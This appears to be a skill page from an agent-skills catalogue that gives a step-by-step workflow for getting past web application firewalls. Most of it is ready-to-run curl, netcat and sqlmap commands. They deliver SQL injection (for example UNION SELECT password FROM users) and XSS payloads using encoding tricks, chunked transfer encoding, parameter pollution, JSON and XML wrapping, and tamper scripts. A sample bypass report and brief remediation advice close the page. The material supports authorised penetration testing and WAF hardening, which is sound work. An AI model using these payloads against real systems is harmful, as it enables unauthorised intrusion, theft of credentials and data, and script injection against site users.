Performing Web Application Firewall Bypass | Skills Pool
Performing Web Application Firewall Bypass Bypass Web Application Firewall protections using encoding techniques, HTTP method manipulation, parameter pollution, and payload obfuscation to deliver SQL injection, XSS, and other attack payloads past WAF detection rules.
mukul975 4,535 星标 2026年4月6日 When to Use
When confirmed vulnerabilities are blocked by WAF signature-based detection
During penetration testing where WAF prevents exploitation of known issues
When evaluating WAF rule effectiveness against evasion techniques
During red team engagements requiring bypass of perimeter security controls
When testing custom WAF rules for completeness and bypass resistance
Prerequisites
Burp Suite Professional with SQLMap integration
wafw00f for WAF fingerprinting and identification
SQLMap with tamper scripts for automated WAF bypass
Understanding of WAF detection mechanisms (signature, regex, behavioral)
Collection of encoding and obfuscation techniques per attack type
Knowledge of HTTP protocol nuances exploitable for evasion
Workflow
Step 1 — Identify and Fingerprint the WAF
快速安装
Performing Web Application Firewall Bypass npx skills add mukul975/Anthropic-Cybersecurity-Skills
星标 4,535
更新时间 2026年4月6日
职业 # Detect WAF using wafw00f
wafw00f http://target.com
# Manual WAF detection via response headers
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
# Trigger WAF with known bad payload and analyze response
curl "http://target.com/page?id=1' OR 1=1--" -v
# Look for: 403 Forbidden, custom block page, CAPTCHA challenge
# Common WAF indicators:
# Cloudflare: cf-ray header, __cfduid cookie
# AWS WAF: x-amzn-requestid
# ModSecurity: Mod_Security or OWASP CRS error messages
# Akamai: AkamaiGHost header
# Imperva: incap_ses cookie, visid_incap cookie
Step 2 — Bypass with Encoding and Obfuscation # URL encoding bypass
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
# Double URL encoding
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
# Unicode encoding
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
# HTML entity encoding in body
curl -X POST http://target.com/search \
-d "q=<script>alert(1)</script>"
# Mixed case SQL keywords
curl "http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
# Inline comments between SQL keywords
curl "http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
# MySQL version-specific comments
curl "http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
# Null bytes
curl "http://target.com/page?id=1'%00 OR 1=1--"
# Tab and newline substitution for spaces
curl "http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
Step 3 — Bypass with HTTP Method and Protocol Tricks # Change HTTP method (WAFs may only inspect GET/POST)
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
# Use HTTP/0.9 (no headers)
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
# Content-Type manipulation
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
# Multipart form data (may bypass body inspection)
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
# Chunked Transfer-Encoding
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
# Parameter in unusual locations
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
Step 4 — Bypass with Payload Splitting and HPP # HTTP Parameter Pollution
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
# Split payload across parameters
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
# JSON-based SQLi (many WAFs miss JSON payloads)
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
# JSON SQL injection with operators
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
# XML-wrapped payloads
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
Step 5 — Use SQLMap Tamper Scripts # SQLMap with built-in tamper scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
# Common tamper scripts for WAF bypass:
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
# Multiple tamper scripts combined
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
# Custom WAF bypass profile
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
Step 6 — XSS WAF Bypass Techniques # Case variation
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
# Event handler alternatives
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
# JavaScript URI scheme
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
# Template literal syntax
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
# Concatenation-based bypass
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
# HTML encoding within attributes
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
# Double encoding
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
Key Concepts Concept Description Signature Evasion Obfuscating payloads to avoid matching WAF regex patterns Encoding Bypass Using URL, Unicode, or HTML encoding to disguise malicious characters Protocol-Level Bypass Exploiting HTTP protocol features (chunked encoding, method override) Tamper Scripts SQLMap modules that transform payloads to evade specific WAF rules Content-Type Confusion Sending payloads in unexpected content types the WAF does not inspect Parameter Pollution Splitting payloads across duplicate parameters to evade per-parameter inspection Behavioral vs Signature WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder)
Tool Purpose wafw00f WAF fingerprinting and identification SQLMap Automated SQL injection with WAF bypass tamper scripts waf-bypass.com Community-maintained WAF bypass payload database Awesome-WAF Curated GitHub repository of WAF bypass techniques Burp Suite HTTP proxy for manual payload crafting and WAF response analysis XSStrike XSS scanner with WAF detection and bypass capabilities
Common Scenarios
SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rulesXSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rulesEncoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAFChunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matchingMethod Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect
## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes
### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |
### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |
### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation
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Prerequisites